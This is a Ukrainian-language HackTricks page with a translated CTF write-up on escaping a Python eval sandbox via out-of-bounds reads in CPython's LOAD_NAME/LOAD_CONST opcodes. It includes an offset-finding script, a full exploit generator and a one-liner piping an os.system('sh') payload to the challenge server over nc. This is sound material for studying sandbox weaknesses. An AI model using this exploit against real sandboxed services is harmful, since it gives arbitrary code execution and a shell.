LOAD_NAME / LOAD_CONST opcode OOB Read

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Ця інформація була взята з цього опису.

TL;DR

Ми можемо використовувати функціонал зчитування за межі масиву (OOB read) в опкоді LOAD_NAME / LOAD_CONST, щоб отримати деякий символ у пам'яті. Це означає використання трюку типу (a, b, c, ... сотні символів ..., __getattribute__) if [] else [].__getattribute__(...) для отримання символу (наприклад, назви функції), який вам потрібен.

Потім просто створіть свій експлоіт.

Огляд

Вихідний код досить короткий, містить лише 4 рядки!

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

Ви можете ввести довільний код Python, і він буде скомпільований у об'єкт коду Python. Однак co_consts та co_names цього об'єкта коду будуть замінені порожньою кортежкою перед оцінкою цього об'єкта коду.

Таким чином, усі вирази, що містять константи (наприклад, числа, рядки тощо) або імена (наприклад, змінні, функції) можуть призвести до виходу за межі пам'яті в кінцевому підсумку.

Вихід за межі читання

Як відбувається збій сегментації?

Давайте розпочнемо з простого прикладу, [a, b, c] може бути скомпільований у наступний байт-код.

1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345

Але що, якщо co_names стане порожнім кортежем? Опкод LOAD_NAME 2 все ще виконується, і намагається прочитати значення з тієї адреси пам'яті, з якої він початково мав бути. Так, це функція зчитування за межами меж "функція".

Основна концепція рішення проста. Деякі опкоди в CPython, наприклад LOAD_NAME та LOAD_CONST, уразливі (?) для OOB read.

Вони отримують об'єкт з індексом oparg з кортежу consts або names (це те, що приховано під назвами co_consts та co_names). Ми можемо звернутися до наступного короткого відрізка коду про LOAD_CONST, щоб побачити, що робить CPython, коли він обробляє опкод LOAD_CONST.

case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567

Генерація експлоіту

Таким чином ми можемо використовувати функціонал OOB для отримання "імені" з довільного зміщення пам'яті. Щоб переконатися, яке це ім'я і яке його зміщення, просто продовжуйте спробувати LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... І ви можете знайти щось приблизно oparg > 700. Ви також можете спробувати використовувати gdb, щоб краще розібратися в пам'яті, звичайно, але я не думаю, що це буде простіше?

Як тільки ми отримаємо ці корисні зміщення для імен / констант, як ми можемо отримати ім'я / константу з цього зміщення і використовувати його? Ось для вас хитрість: Давайте припустимо, що ми можемо отримати ім'я __getattribute__ з зміщенням 5 (LOAD_NAME 5) з co_names=(), тоді просто виконайте наступні дії:

[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234

Зверніть увагу, що не обов'язково називати його __getattribute__, ви можете назвати його якось коротше або дивніше

Ви можете зрозуміти причину цього, просто переглянувши його байткод:

0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314

Зверніть увагу, що LOAD_ATTR також отримує ім'я з co_names. Python завантажує імена з тієї самої позиції, якщо ім'я однакове, тому другий __getattribute__ все ще завантажується з позиції offset=5. Використовуючи цю функцію, ми можемо використовувати довільне ім'я, якщо ім'я знаходиться в пам'яті поруч.

Для генерації чисел повинно бути тривіально:

  • 0: not [[]]

  • 1: not []

  • 2: (not []) + (not [])

  • ...

Скрипт експлойту

Я не використовував константи через обмеження на довжину.

Спочатку ось скрипт, за допомогою якого ми знайдемо ці зміщення імен.

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

І наступне призначене для створення реального Python експлоіту.

import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

Це в основному робить наступне для тих рядків, які ми отримуємо з методу __dir__:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated